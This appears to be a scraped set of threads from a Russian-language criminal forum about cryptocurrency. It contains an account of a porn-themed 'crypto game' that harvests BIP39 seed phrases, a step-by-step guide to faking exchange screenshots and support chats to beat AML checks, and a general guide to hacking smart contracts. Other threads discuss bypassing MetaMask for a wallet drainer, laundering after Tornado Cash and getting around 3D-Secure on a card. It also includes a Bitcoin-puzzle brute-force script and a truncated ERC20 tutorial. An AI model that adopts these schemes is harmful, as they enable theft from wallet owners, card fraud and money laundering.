Игру не стал собирать супер пупер, брал direct x11 и минимальные требования на 2 гб видео. Видосы и прочий материал, тупо брал с топ сайтов с порно (хз решил попробовать сделать игру на дрочерскую тематику), хотя первый трай я не успел ни заскринить, ни собрать инфу для статьи, то будет рассматривать мат с дрочерами.

2.png

3.png

4.png

обрал небольшую сценку, сделал несколько HUD сделал таблицы, сделал запросы на сервера, подключил MySql сделал правила для заполнения форм, прикрепил библиотеку Bip39 (в первый раз я этого не делал и было очень много мусора) чтобы не вставляли мусор и погнали.

Плюс данного способа в том, что можно делать белый сайт и не заморачиваться с клоаками и прочими методами защиты и обхода, так как у нас по сути чисто белая игра с чистым сайтом (я в этот раз сделал просто уник многостраничник). Так как через гугл практически невозможно запустить Adult рекламу, я начал думать по поводу тизерок и наткнулся на довольно неплохую как мне показалось, даже была оплата криптой. Называлась она TwinRed, как по мне подходила идеально, но со временем смотря на стату, начал понимать, что там стоят либо кликеры, либо сайт выдает просто конченную стату. Пошел искать нормальную тизерку и по итогу наткнулся на то что искал. Тизерная сеть (разумеется сливать ее не буду, так как зачем мне соседи) которая в жопе всех рейтингов, решил попробовать и ее тоже, так как понравился их дизайн и система рейтингов, что рекламодатели ставят оценки сайтам, где закупали рекламу.

Закинул туда для тестов 2500 usd и начал пролив.

Проект собрал в этот раз намного меньше всего 115 мб (в первый раз сцены были овер большие), сделал менюшки и прочие мелочи.

5.png

Проект получился до ужаса смешной, но по сути выглядело нормально. Видос примера можно глянуть тут: https://t.me/mylittleponyfuckcrypto/59

6.png

Суть в том, то что тут было нормальная модерация для сайтов и так как я понял, тизерка является на данный момент новой и они следят за то чтобы вебмастера не накручивали себе стату. Пошла жара.

7.png

8.png

9.png

10.png

11.png

12.png

Выхлоп по итогу получился довольно неплохой и в целом я остался доволен. Так что на данный момент крипто игры довольно новая тематика и пока еще не заезжана.

Автор golfclub

Руководство и ресурсы для взлома и отмены смарт-контрактов ERC20 в сети Ethereum
ID: 67686ad7b4103b69df3797d4
Thread ID: 87354
Created: 2023-05-05T20:34:56+0000
Last Post: 2023-10-30T08:27:51+0000
Author: Satoshi
Prefix: Мануал/Книга
Replies: 1 Views: 1K

Реинжиниринг и взлом смарт-контрактов подразумевает понимание функциональности контракта, выявление слабых мест и их использование. Вот руководство по реинжинирингу и взлому смарт-контрактов

- Проанализируйте байткод: Начните с анализа байткода смарт-контракта. Вы можете использовать такие инструменты, как Etherscan, чтобы получить доступ к байткоду развернутого контракта. Если исходный код контракта недоступен, вам может потребоваться реинжиниринг байткода, чтобы понять его функциональность. Вы можете использовать JEB Decompiler for EVM для декомпиляции байткода в Solidity-подобный код высокого уровня.

- Понять функциональность контракта: Прочитайте декомпилированный код или оригинальный исходный код (если он доступен), чтобы понять функции контракта и их предполагаемое поведение. Ищите публичные функции, события, модификаторы и переменные хранения. Обратите внимание на любые функции, которые взаимодействуют с внешними контрактами, обрабатывают вводимые пользователем данные или управляют средствами.

- Выявите уязвимости: Ищите общие уязвимости смарт-контрактов, такие как атаки реентерабельности, переполнения или недополнения целых чисел и проблемы с контролем доступа. Проанализируйте код контракта на наличие логических ошибок или непреднамеренного поведения. Такие инструменты, как MythX и Slither, помогут вам выявить уязвимости в контракте.

- Эксплуатируйте уязвимости: После выявления уязвимостей разработайте атаку для их использования. Это может включать в себя взаимодействие с контрактом с помощью другого контракта или скрипта вне цепи. Протестируйте свою атаку в локальной среде разработки, например в Ganache, или в тестовой сети, прежде чем использовать ее в основной сети.

Ресурсы

- Ethereum Remix (https://remix.ethereum.org)

- Reverse Engineering a Contract (<https://ethereum.org/en/developers/tutorials/reverse-engineering-a- contract/>) - В этом учебном пособии на веб-сайте Ethereum рассказывается об обратной разработке контракта без исходного кода, с использованием опкодов и результатов декомпилятора.

- ghidra-EVM Module for Reverse Engineering Smart Contracts ([https://hacker- gadgets.com/blog/202...dule-for-reverse-engineering-smart- contracts/](https://hacker-gadgets.com/blog/2021/05/19/ghidra-evm-module-for- reverse-engineering-smart-contracts/)) - В этой статье блога представлен модуль ghidra-EVM, который позволяет проводить реверс-инжиниринг смарт- контрактов на блокчейне Ethereum с помощью Ghidra, популярного инструмента реверс-инжиниринга.

- Reverse Engineering Ethereum Smart Contract: Let’s Talk Assembly ([https://medium.com/@xJonathan/rever...smart-contract-lets-talk- assembly-10c38b8e3c2](https://medium.com/@xJonathan/reverse-engineering- ethereum-smart-contract-lets-talk-assembly-10c38b8e3c2)) - В этой статье на Medium обсуждаются преимущества понимания сборки EVM и то, как это может помочь вам в реверс-инжиниринге смарт-контрактов Ethereum.

- The Ultimate Smart Contract Auditing Guide (<https://0xpredator.medium.com/the-ultimate-smart-contract-auditing-guide- ddec6e78e7dc>) - В этом исчерпывающем руководстве рассматриваются различные ресурсы для изучения взлома и аудита смарт-контрактов, включая видео, известные атаки и практические ресурсы, такие как Damn Vulnerable DeFi и Ethernaut.

- Hacking the Blockchain: An Ultimate Guide - В этой статье блога представлен обзор взлома в пространстве блокчейна с акцентом на смарт-контракты. Он предлагает ресурсы и советы для начала взлома смарт-контрактов.

DODO DEX Hack: В марте 2022 года на DODO DEX произошел взлом смарт-контракта, в результате которого было потеряно около $3,8 млн в криптовалюте. Взлом был связан с опережающей атакой, когда первоначальный злоумышленник стал жертвой двух ботов для торговли криптовалютой, которые опережали некоторые попытки злоумышленника использовать уязвимости смарт-контракта.

Атака "червоточины" через цепной мост: В феврале 2022 года из Solana и Ethereum было слито около 320 миллионов долларов из-за уязвимости смарт- контракта в Wormhole Cross Chain Bridge.

![pixelplex.io](/proxy.php?image=https%3A%2F%2Fpixelplex.io%2Fwp- content%2Fuploads%2F2022%2F12%2Fsmart-contract-vulnerabilities- meta.jpg&hash=636068360f01d6059a9c7df2e8013af8&return_error=1)

[ 7 Smart Contract Vulnerabilities & How to Prevent Them [2024]

](https://pixelplex.io/blog/smart-contract-vulnerabilities/)

Check out a detailed list of the most common smart contract vulnerabilities and learn what your business can do to ensure smart contract security.

pixelplex.io pixelplex.io

Простой и быстрый способ объяснения происхождения средств обменнику/бирже.
ID: 67686ad7b4103b69df3797f1
Thread ID: 94904
Created: 2023-08-05T18:20:59+0000
Last Post: 2023-09-03T06:08:54+0000
Author: Knew100
Prefix: Статья
Replies: 5 Views: 1K

Приветствую всех уважаемых форумчан, читающих данный текст. Часто появляется необходимость манипулировать криптовалютными активами, и никто не застрахован от того, что ваш контрагент, будь то обменник или биржа, может затребовать у вас информацию о происхождении грязных средств. Если вы обосрались по AML по незнанию и невнимательности, то вероятность этого как нельзя высока. На данном этапе я предполагаю что у вас решен вопрос с KYC, иначе данный лайфхак будет бесполезен, так как KYC это фундаментальная проблема. В данном эссе я предлагаю быстрое и простое решение именно объяснения высокого AML.

Итак, биржа/обменник просят у нас пруфы происхождения средств. Если требуется оперативный ответ от вас, то можно решить эту проблему и без помощи отрисовщиков. Для начала скажите что выводите деньги с хайп-проекта (HYIP). Это довольно мутный рынок, и кажется довольно правдоподобным, что деньги оттуда выводятся не самые чистые. Играйте роль глупца, который не понимает ничего про AML и просто хочет вывести обратно свои инвестиции.

Однако, контрагент может потребовать доказательства большие, чем просто ваши слова. Так, вы можете сделать пиздабольские скриншоты, даже не прибегая к фотошопу. Ниже обозначаю как это делается:

1. Ищем хайп. Вводим в поисковике hyip monitor (мониторинг хайпов).
1.png
2. Среди всех проектов находим любой, что вам понравится по интерфейсу, просто регистрируйтесь по 10-минутной почте и вводите левые данные. Отдаем предпочтение так называемым даблерам (doubler), которые готовы увеличить вашу инвестицию в два раза за короткий промежуток времени (чем более мутный хайп, тем лучше для нас).
2.png
3. Теперь у нас есть полотно, на котором мы можем творить. Холста в основном три: главная страница, страница вывода и чат поддержки. Просто нажимайте в вашем браузере правой кнопкой мыши на том или ином элементе, в контекстном меню выбирайте “Исследовать элемент”, и в появившемся окошке меняйте значения на нужные вам.
3.png4.png5.png
4. При возникновении каких-либо дополнительных вопросов к вам, на которые вы не сможете ответить скрином с панели управления на сайте пирамиды, спихните все на поддержку. Очень просто это делается: пишите в поддержку бессмысленную информацию, набирая переписку с сообщениями, и далее вместо бессмысленного текста измените реплики свои и саппорта на нужные вам. Ваша задача - убедить обменник/биржу, что вы ни за что не в ответе, а вина за проблему лежит на пирамиде.

Таким образом, путем нехитрых манипуляций вы можете отвести от своего аккаунта подозрения и вам спокойно вернут деньги. Способ был проверен мной на Бинансе и на обменниках некоторое время назад, но такая тема актуальна и на сегодняшний день.
Мне могут здесь вменить изложение совершенно обычной и неуникальной схемы, однако я могу возразить тем, что многие могут быть не в курсе такого варианта, а если это поможет хоть одному человеку, значит я не зря писал этот небольшой очерк. Спасибо за внимание.

Если будет интересно, я могу рассказать, как осуществлять подобную схему, создавая левый обменник, полностью вам подконтрольный. Это чуть сложнее, однако выдержит любые проверки со стороны контрагентов.

Как узнать грязную ли крипту мне прислали?
ID: 67686ad7b4103b69df379807
Thread ID: 92680
Created: 2023-07-11T16:59:15+0000
Last Post: 2023-08-12T17:29:03+0000
Author: firon
Replies: 22 Views: 1K

Вопрос в заголовке.

Нулевая транзакция usdt (tron)
ID: 67686ad7b4103b69df379809
Thread ID: 92712
Created: 2023-07-11T21:35:02+0000
Last Post: 2023-08-12T17:25:54+0000
Author: d333d
Replies: 22 Views: 1K

Кто-нибудь знает как делать?

каким кошельком лучше пользоваться btc
ID: 67686ad7b4103b69df379816
Thread ID: 93618
Created: 2023-07-22T03:21:54+0000
Last Post: 2023-08-03T17:01:49+0000
Author: shears
Replies: 26 Views: 1K

подскажите каким кошельком пользоваться для битков
чтобы не было всяких проблем верификации итд
желательно с ру с интерфейсом
с мин комиссией на переводы так как часто делаю переводы очень мелкие 5-10$
раньше использовал wmx webmoney но средства начали попадать под амл или как оно там называется
типа есть перевод 1000$ в битках и типа какая то часть сумы в цепочки передачи подозрение что ворованная. спрашивал какой амл
не отвечают 3 перевода и все в блок и каждый раз доказывать им происхождение средств задолбался
Подскажите пожалуйста хороший вариант

Сайты для крипто-стримов
ID: 67686ad7b4103b69df379827
Thread ID: 62435
Created: 2022-01-10T20:24:11+0000
Last Post: 2023-07-12T17:16:55+0000
Author: xacker
Replies: 25 Views: 1K

Отдам бесплатно десятки различных таких сайтов. Но не надо тут мне засирать сообщения, кому попало тоже сливать не буду. Это не стоит 100$.

кошель со 175к баксов
ID: 67686ad7b4103b69df379840
Thread ID: 87291
Created: 2023-05-04T19:00:25+0000
Last Post: 2023-06-15T06:25:09+0000
Author: nightcity
Replies: 18 Views: 1K

есть сидка, на кошеле 175000 тезера, но не выводится, в чем может быть проблема не пойму
вот кошель
0x4DE23f3f0Fb3318287378AdbdE030cf61714b2f3

BITCOIN PUZZLES
ID: 67686ad7b4103b69df379845
Thread ID: 89464
Created: 2023-06-01T15:10:30+0000
Last Post: 2023-06-07T08:59:19+0000
Author: brumsy
Prefix: Мануал/Книга
Replies: 17 Views: 1K

Может кому нибудь будет интересно!
Биткоин пазл в основном разгадывают с помощью пулов по типу этого сайта!
Я решил может кому то пригодиться код для самостоятельного поиска.
Переменные менять можно на свое усмотрение.
Для примера я взял диопазон хешей от 0000000000000000000000000000000000000000000000349b84b6431a6c4ef1 и
до 0000000000000000000000000000000000000000000004c5ce114686a1336e07,
а так же указал возможные адреса этого диопазона (их можно добавить любое количество).
Есть возможность перебора на gpu и cpu. Обязательно обновите [С++](https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc- redist?view=msvc-170) и установите [torch](http://pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu117).

И так:

Установка необходимых модулей

1. Установите необходимые модули с помощью pip. Откройте командную строку или терминал и выполните следующую команду:

Code:Copy to clipboard

pip install bitcoin torch

Установка драйверов GPU

1. Если вы планируете использовать GPU для вычислений, убедитесь, что у вас установлены драйверы для вашей графической карты. Вы можете загрузить и установить драйверы с официального веб-сайта производителя вашей графической карты (например, NVIDIA, AMD).

Установка CUDA Toolkit (для NVIDIA GPU)

Если вы планируете использовать NVIDIA GPU, установите CUDA Toolkit. CUDA Toolkit является набором инструментов и библиотек для разработки программ, использующих возможности NVIDIA GPU.

Посетите официальный веб-сайт [NVIDIA CUDA](https://developer.nvidia.com/cuda- toolkit) и следуйте инструкциям для загрузки и установки CUDA Toolkit, соответствующей вашей операционной системе и графической карте.

Код программы

Python:Copy to clipboard

import hashlib
import binascii
from bitcoin import *
import time
import torch

output_file = "matches.txt"  # Имя файла для сохранения пар адреса и приватного ключа

# Функция для генерации случайного хеша в заданном диапазоне
def generate_hash(start_hash, end_hash):
    current_hash = start_hash
    while current_hash != end_hash:
        sha256_hash = hashlib.sha256(current_hash.encode()).digest()
        yield binascii.hexlify(sha256_hash).decode()
        current_hash = hashlib.sha256(current_hash.encode()).hexdigest()

# Функция для получения приватного ключа из хеша
def get_private_key(hash_str):
    return sha256(hash_str)

# Функция для получения адреса биткоин из приватного ключа
def get_bitcoin_address(private_key):
    return privkey_to_address(private_key)

# Основная функция для генерации и проверки хешей
def generate_and_check_hashes(start_hash, end_hash, target_addresses, device):
    num_hashes = 0
    matches = []

    if device.type == "cuda":
        print("Using GPU for computation.")
        torch.cuda.set_device(device)
    else:
        print("Using CPU for computation.")

    start_time = time.time()  # Запоминаем начальное время

    for hash_str in generate_hash(start_hash, end_hash):
        private_key = get_private_key(hash_str)
        bitcoin_address = get_bitcoin_address(private_key)

        num_hashes += 1
        if bitcoin_address in target_addresses:
            matches.append((bitcoin_address, private_key))
            print(f"Match found! Address: {bitcoin_address}, Private Key: {private_key}")

            with open(output_file, "w") as file:
                for match in matches:
                    file.write(f"Address: {match[0]}, Private Key: {match[1]}\n")

        elapsed_time = time.time() - start_time  # Вычисляем прошедшее время

        if elapsed_time > 0:
            hash_rate = num_hashes / elapsed_time  # Вычисляем скорость хеширования
            print(f"\rChecked Hashes: {num_hashes} | Matches: {len(matches)} | Hash Rate: {hash_rate:.2f} hashes/sec", end="")

        time.sleep(0.1)  # Пауза между генерацией хешей для контроля скорости

# Запрос выбора вычислительного устройства (GPU или CPU)
device_type = input("Select computation device (GPU or CPU): ").lower()
if device_type == "gpu" and torch.cuda.is_available():
    device = torch.device("cuda")
else:
    device = torch.device("cpu")

# Задайте начальный и конечный хеши для перебора
start_hash = "0000000000000000000000000000000000000000000000349b84b6431a6c4ef1"
end_hash = "0000000000000000000000000000000000000000000004c5ce114686a1336e07"

# Задайте несколько адресов в target_address
target_addresses = [
    "1PWo3JeB9jrGwfHDNpdGK54CRas7fsVzXU",
    "1JTK7s9YVYywfm5XUH7RNhHJH1LshCaRFR",
    "1FWGcVDK3JGzCC3WtkYetULPszMaK2Jksv",
    "12VVRNPi4SJqUTsp6FmqDqY5sGosDtysn4"
]

# Запуск генерации и проверки хешей с указанными параметрами
generate_and_check_hashes(start_hash, end_hash, target_addresses, device)

Использование

1. Откройте командную строку или терминал.

2. Перейдите в каталог, содержащий файл pz.py. Вы можете использовать команду cd для перехода в нужный каталог. Например:

Code:Copy to clipboard

cd C:\путь\к\каталогу

3. Запустите программу, введя следующую команду:

Code:Copy to clipboard

python pz.py

4. Программа запросит выбор вычислительного устройства (GPU или CPU). Введите gpu или cpu в зависимости от вашего выбора и нажмите Enter.

5. Программа начнет генерацию и проверку хешей. Она будет отображать информацию о проверенных хешах, количестве совпадений и скорости проверки в одной строке. Если найдено совпадение, программа выведет соответствующую информацию и сохранит результаты в файл matches.txt.

6. Для остановки программы нажмите Ctrl + C в командной строке или терминале.

Вы можете вносить свои изменения и усовершенствовать данный код! Надеюсь кому то будет полезным.

Что случилось с мемпулом?
ID: 67686ad7b4103b69df379862
Thread ID: 87055
Created: 2023-05-01T15:12:34+0000
Last Post: 2023-05-09T15:44:50+0000
Author: baykal
Replies: 21 Views: 1K

не видел таких значений с 2018 года

Pool transactions 184 918
Fee 41.72 ś/vByte

что случилось?

Обход новой обновы Metamаsk для драйнера
ID: 67686ad7b4103b69df379866
Thread ID: 84257
Created: 2023-03-21T19:54:19+0000
Last Post: 2023-05-02T03:03:38+0000
Author: ValientoSalyami
Replies: 9 Views: 1K

Рано или поздно это должно было произойти

Браузерный MetaMask обновил метод апрува токенов

Теперь приоритет на списание токенов полностью отдаём методам PERMIT, Permit2 от UniSwap и прочим свапалками на вроде:
2. SushiSwap
3. QuickSwap
4. PancakeSwap

Приоритет — это значит что списание данными методами будет происходить в первую очередь, вне зависимости от того, сколько средств на них апрувнуто (но в конфиге можно выставить минималку для приоритетов)

Вывод с exodus кошелька
ID: 67686ad7b4103b69df379872
Thread ID: 83611
Created: 2023-03-11T17:36:30+0000
Last Post: 2023-04-11T10:12:04+0000
Author: Prince
Replies: 11 Views: 1K

Всем ку
В общем такой вопрос
У меня есть доступ к 2 кошелкам exodus, есть phrase и приватный ключ
Не могу вывести деньги, на самом кошельке стоит автовывод и автопоплнение.
При вводе моего кошелька пишет: Чтобы совершить транзакцию, вам нужно как минимум 49,5 TRX.
Хотя на балансе 540$, на втором кошельке так же
1678555934520.png

В 9:42 пополнение и в 9:43 вывод
1678556042130.png

Обменять в моб приложении или на пк приложении не могу, пишет: Update your USDT keys to access your account

Binance ждет неизбежное банкротство
ID: 67686ad7b4103b69df379874
Thread ID: 83584
Created: 2023-03-11T09:33:26+0000
Last Post: 2023-04-09T01:19:21+0000
Author: hot_perec
Replies: 16 Views: 1K

![ru.beincrypto.com](/proxy.php?image=https%3A%2F%2Fru.beincrypto.com%2Fwp- content%2Fuploads%2F2023%2F01%2Fbic_binance_bnb_price_down_negative.png&hash=182e1e98146533dba2592b1278c6b9cc&return_error=1)

[ Binance ждет неизбежное банкротство — экс-юрист SEC

](https://ru.beincrypto.com/binance-zhdet-neizbezhnoe-bankrotstvo-eks-yurist- sec/)

Binance пытается уладить конфликты с американскими регуляторами, но Джон Рид Старк, бывший юрист SEC, считает, что ее песенка спета

![ru.beincrypto.com](/proxy.php?image=https%3A%2F%2Fru.beincrypto.com%2Fwp- content%2Fuploads%2F2022%2F09%2Fcropped- bic_favic-32x32.png&hash=52383e0366f48aa7e9fd26431f79785b&return_error=1) ru.beincrypto.com

Binance на грани банкротства​

Криптобиржа Binance увязла в многочисленных скандалах и слухах, породивших панические настроения среди пользователей. По мнению Джона Рида Старка, ранее занимавшего пост юрисконсульта в Комиссии по ценным бумагам и биржам (SEC), в этих условиях бирже вряд ли удастся избежать банкротства. Более того, бывший чиновник уверен, что Binance ждут неминуемые уголовные преследования и судебные иски.
**
А вы верите?**

Ищу связки для межбиржевого арбитража
ID: 67686ad7b4103b69df379887
Thread ID: 82728
Created: 2023-02-25T23:12:30+0000
Last Post: 2023-03-21T07:55:25+0000
Author: Sokoliatko
Replies: 16 Views: 1K

Приветствую. Сразу прошу прощения за, возможно, детскую тему для такого форума, но решил все-таки попробовать.

Напишу вкратце: бюджет есть, понимание есть, команда для возможного расширения есть. Нет главного - связок. В ручную лопатить каждую монету точно не вариант, а покупать какую-то ебалу у инфоциган тоже желания особо нет.

Прошу без негатива, только начинаю в этом всем вариться.

Если у вас где-то завалялся софт по этому делу или же есть знания, то также пишите - обсудим сотрудничество, я только за.

Спасибо за внимание.

Майнинг, или как добыть крипту 2.0
ID: 67686ad7b4103b69df379893
Thread ID: 82458
Created: 2023-02-21T12:22:09+0000
Last Post: 2023-03-01T18:35:21+0000
Author: malloy05
Prefix: Статья
Replies: 13 Views: 1K

В прошлой статье мы подробно разбирали что такое майнинг и как он работает. Сегодня же мы хотим немного окунуться в историю майнинга и обсудить стоит ли заходить в него сейчас.

История развития​

CPU​

![](/proxy.php?image=https%3A%2F%2Fwww.wallpapertip.com%2Fwmimgs%2F79-798844_intel- core-i5-760-wallpaper-58641-intel- core.jpg&hash=085488c3d391d02c7e41885bab86190c)
Как мы уже знаем,3 января 2009 года был создан генезис-блок в сети Bitcoin, спасибо, Сатоши. Поскольку в то время биткоин буквально ничего не стоил, то и майнили его лишь единицы.
Поэтому майнинг был доступен хоть с вашего ноутбука. Все вычисления производились процессором и примерная сложность добычи блока составляла 4Gh/s.

Производительность в майнинге измеряется в хешах за секунду - h/s.

Click to expand...

Хешрейт устройства определяется его быстродействием и вычислительной мощностью, хешрейт сети зависит от числа майнеров и равен суммарной мощности активных устройств в сети.

Click to expand...

Сложность сети регулируется трудностью задачи, которую решают для получения блока: найти требуемый хеш. Трудность задачи напрямую зависит от хешрейта и меняется автоматически. Чем больше майнеров подключится к сети, тем выше будет производительность и сложность, и будет труднее добывать криптовалюту. Сложность сети, деленная на величину хешрейта, равняется времени получения блока. Это время сеть поддерживает постоянным.

Click to expand...

В то время процессор Intel Pentium 4 производил 1,29 Mh/s. Это означало, что с одним процессором для добычи блока требовалось порядка 50 минут. И получал майнер не 6,25 BTC за блок (как сейчас), а целых50 BTC!
Чтобы вас не съедало FOMO и мысли "если бы я в 2009 начал майнить... " стоит напомнить, что тогда биткоин не стоил вообще ничего. И вряд ли кто-то из майнеров тех времен мог подумать, что какая-то цифровая монетка, которую они сейчас получают через 13 лет может стоить до 67.000$.

GPU​

Популярность биткоина и криптовалюты, в целом, медленно, но верно набирала обороты. И уже к 2010 году обычные процессоры не могли работать со скоростью, необходимой для соответствия возросшей сложности алгоритма добычи.
Так, в сентябре того же года был представлен открытый исходный код для биткоин-клиента , который включал майнинг с помощью видеокарт, открывая новую эру добычи BTC.
Вычислительная мощность на одной видеокарте эквивалентна десяткам процессоров. Таким образом эффективность майнинга была улучшена. Поэтому пользователи стали переходить на добычу с помощью графического процессора.

FPGA​


Майнеров становилось все больше и больше, конкуренция росла. В 2011 году на рынок выходят FPGA (Field Programmable Gate Array) , по-русски - программируемые вентильные матрицы.
Если не вдаваться в подробности, то FPGA представляет собой особую цифровую схему, которая обеспечивает более высокую скорость вычислений при меньших затратах энергии.

ASIC​

И вот в 2013 году появляются первые асики от компании "ASICminer ". Состоит подобная машинка из микросхемы для вычисления кодов, вентилятора охлаждения и резервного генератора питания.
Ключевое отличие ASIC от FPGA в том, что первые хоть и в разы мощнее, но до безумия ограничены по своему функционалу. Асики буквально можно использовать только для добычи одной криптовалюты.
Но крипто-энтузиастов это не отпугнуло, ведь им по факту такие вычислительные мощности только для майнинга и нужны были. Поэтому асики достаточно быстро обрели популярность и в будущем еще несколько компаний начали выпускать свои вычислительные машинки (Avalon, BFL).

Облачный майнинг​

Данный подвид майнинга появился еще в середине 2010-х. Заключается он в том, что владельцы крупных ферм дают пользователям свое оборудование в аренду.
Таким образом все остаются в плюсе: пользователи не парятся с обслуживанием собственной фермы и получают доход с неё, ахозяева ферм покрывают все расходы на электроэнергию и кладут себе в карман процент с намайненных блоков.

Бум 2017​


Граффик BTC с марта 2016 по июль 2018
Наверняка многие из читателей слышали шквал новостей про майнинг и дефицит видеокарт в 2017 году. Этот год можно действительно считать прорывным для криптовалют, поскольку тогда о них массово заговорили не какие-то гики в интернете, угарающие по анонимности и децентрализации, а обычный народ.
Геймеры ненавидели майнеров из-за подлетевшего ценника на видеокарты и их отсутствие на полках магазинов, юные предприниматели видели в крипте способ быстро и хорошо подзаработать, а зеваки поражались как интернет-монетка может стоить несколько тысяч долларов. Но факт остается фактом: о крипте говорили буквально на каждом шагу.
Конечно, все это случилось не просто так. Всему виной все тот же халвинг в 2016. Цена биткоина не сразу пошла покорять новые вершины, но постепенно становилась все более и более лакомым кусочком для потенциальных майнеров.
Люди начали верить в криптовалюту, и что на ее майнинге можно зарабатывать реальные деньги. Поэтому в июне 2017 уже пошли новости о крупных майнерах с огромными закупками видеокарт (скупки по 200-300 штук разом), начинающемся росте цен на них и дефиците топовых моделей.

Для примера: цена на видеокарту AMD Radeon RX 480 в мае-июне 2017 года взлетела с 16.000‒18.000 рублей до 30.000-40.000 рублей.

Click to expand...

Но история не была бы столь интересной, если бы не было неожиданных поворотов. Декабрь 2017, все отлично, биток торгуется по 19.600$. Все ранние инвестора уже собирают сливки, а только зашедшие майнеры потирают руки и представляют себе дальнейший стремительный рост крипты и прекрасную жизнь на Бали через пол года.
Увы, у битка были другие планы. Так за 2 месяца его курс ушатался в 3 раза, до 6.800$.
Само собой на фоне такого падения у майнеров началась паника(особенно у только зашедших и не окупившихся). О Бали уже можно было забыть, разговор шел хотя бы о том, чтобы не уйти в минус. И тут народ разделился на 2 лагеря.
Первые - паникеры, продающие свои видеокарты по дешевке и кричащие, что крипта - скам. Вторые - майнеры со стальными яйцами (или толстыми кошельками), верящие в дальнейшую жизнь крипты.
Само-собой первые, наверное, уже кучу раз успели словить FOMO , когда биткоин начал показывать новые максимумы в 2021 году. Но будущего знать уж никто не мог...

Поэтому не переживайте если вы залетели в складчину STEPN. Глядишь, через 4 года покажет иксы!

Disclaimer:
Это шутка, автор не несет никакой ответственности за судьбу вышеупомянутого проекта!

Click to expand...

А стоит ли заходить в майнинг в 2022?​

Тут сложно дать однозначный ответ...
С одной стороны -крипта сейчас переживает не лучшие времена , биток упал более чем на 75% со своих максимальных значений, а майнинг проще не стал.
С другой стороны - майнинг до сих пор жив , не одним биткоином едины, есть куча альтернатив, да и крипто-зима когда-нибудь, да кончится. Как минимум, к 2024 году прогнозируется халвинг BTC, а по опыту прошлых лет - всегда после халвина битка вся крипта стремительно шла вверх.
Одно можно сказать точно - не стоит заходить в майнинг, тратя последние сбережения , в надежде получить "лёгкие " деньги. Средняя ферма стоит порядка 13.000$ и окупается +- за 2 года.
Также следует учитывать такие варианты, как: продолжение падения крипты, закручивание гаек законодательством, повышение цен на электроэнергию и многое- многое другое.
Если у вас есть под подушкой лишний десяток тысяч долларов, который вы хотите во что-то инвестировать и который вам не пригодится в ближайшие года 3 - то вполне себе можно и рассмотреть историю с покупкой фермы. Но, по-классике, NFA.
(COPYPAST)

Как самостоятельно отмыть средства после Tornado Cash?
ID: 67686ad7b4103b69df379898
Thread ID: 81974
Created: 2023-02-14T14:23:40+0000
Last Post: 2023-02-27T09:29:03+0000
Author: Code
Replies: 16 Views: 1K

Как самостоятельно отмыть средства после Tornado Cash и выветси в кэш?
Может какие-то обменники принимают средства после него?
Или межсетевой свап сделать и уже тогда заливать в обменники?
Поделитесь опытом.

SOS :помогите убрать с кошелька авто вывод средств
ID: 67686ad7b4103b69df3798b4
Thread ID: 75081
Created: 2022-11-02T08:15:40+0000
Last Post: 2023-01-27T22:02:32+0000
Author: GRAF_TYTA
Replies: 18 Views: 1K

Суть такая , попал ко мне кошелек с неплохим балансом , существует он только для одной цели так сказать . Что бы скамить. А скамить наивных людей .тобишь утка такая: есть кошелек с положительным балансом usdt ERC 20
Для того что бы вывести средства , нужно закинуть в эфире как минимум 6-8 $
После поступления эфир улетает сразу , и каждый раз на разные кошельки.
Нужна помощь в том ,что бы отключить этот авто вывод . Думаю скам монета сидит,и не одна . Вот и хотел узнать ,на сколько это возможно ,и если возможно то каким путем это сделать нужно....

Как обойти 3D-безопасность, чтобы купить криптовалюту с карты виза
ID: 67686ad7b4103b69df3798b9
Thread ID: 75701
Created: 2022-11-12T04:13:32+0000
Last Post: 2023-01-24T16:26:47+0000
Author: 6o6o
Replies: 6 Views: 1K

У меня есть полный доступ к карте Visa с балансом 10 миллионов долларов, я хочу купить криптовалюту и обойти 3D-безопасность

У кого-нибудь есть более безопасный способ
Избегайте кода подтверждения
Даже если покупка разбита на 4 и более операций

Yчимся создавать смарт-контракты Ethereum на Solidity с самого начала и пока смерть не разлучит нас / #3 для любителей скам-контрактов
ID: 67686ad7b4103b69df3798ba
Thread ID: 72815
Created: 2022-09-07T04:19:17+0000
Last Post: 2023-01-21T23:39:14+0000
Author: вавилонец
Prefix: Статья
Replies: 3 Views: 1K

День добрый!
Это даже не статья, а скорее всего заметка/помятка для любителей использовать халявные скам-смарт-контракты.
Почитал на нашем борде пару тем про скам токены, почитал код .sol файлов и почему то в обоих ститически указан адрес eth-кошелька, чего не должно быть - так как все ваши старания в виде n-количества эфира уйдут на на ваш кошель ~~а прям в лапы гнусным падонкам)~~ хы-хы-хы. По этому делюсь кодом с ПОДРОБНЫМи коментариями о том как должен быть построен токен IERC20, на котором основываются большинство / по крайней мере мною прочитанных/ кодов.

Код интерфеса который определяет основные функции токена на базе IERC20

Code:Copy to clipboard

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IERC20 {
    function name() external view returns(string memory); //функция названия токена
    function symbol()  external view returns(string memory);  //краткое наименование токена
    function decimals() external pure returns(uint);//колличетво знаков после запятой
    function totalSuply() external view returns(uint); //колличество токенов в обороте
    function balanceOf(address account) external view returns(uint); //сколько токенов на том или ином аккаунте
    function transfer(address to, uint amount) external; // функция перевода средств на адреес to в колличестве amount
    function allowance(address _owner, address spender) external view returns(uint); // возможность забрать у нас (owner) токены третьему лицу (spender)
    function approve(address spender, uint amount) external;   //позволяет spender списать amount монет используя функцию allowance
    function transferFrom(address sender, address recipient, uint amount ) external; // функция отправки средств от sender к recipient в колличестве amount
    event Transfer(address indexed from, address indexed to, uint amount); //событие индексированной транзакции с адреса to на from, в колличестве amount
    event Approve(address indexed owner, address indexed to, uint amount); //событие подтверждения списания от owner к to
    
}

Код контрактов токена:

Code:Copy to clipboard

// spdx-License-Identifier: MIT

pragma solidity ^0.8.0;
import "./IERC20.sol";

contract ERC20 is IERC20 {
    uint totalTokens;  // сколько токенов начислено на данный момент
    address owner;      //адресс владельца
    mapping(address=>uint) balances; //учет количества токенов на балансе адреса
    mapping(address => mapping(address =>uint)) allowances; //информация о возможности списывания с кошеля на другой кошель
    string _name; //название токена
    string _symbol; //символ токена
    function name() external view returns(string memory){ //считывает имя токена и возвращает его
        return _name;
    }
    function symbol() external view returns(string memory){ //считывает символ токена и возвращает его
        return _symbol;
    }
    function decimals() external pure returns(uint){
        return 18;
    }
    function totalSuply() external view returns(uint){
        return totalTokens;
    }
    
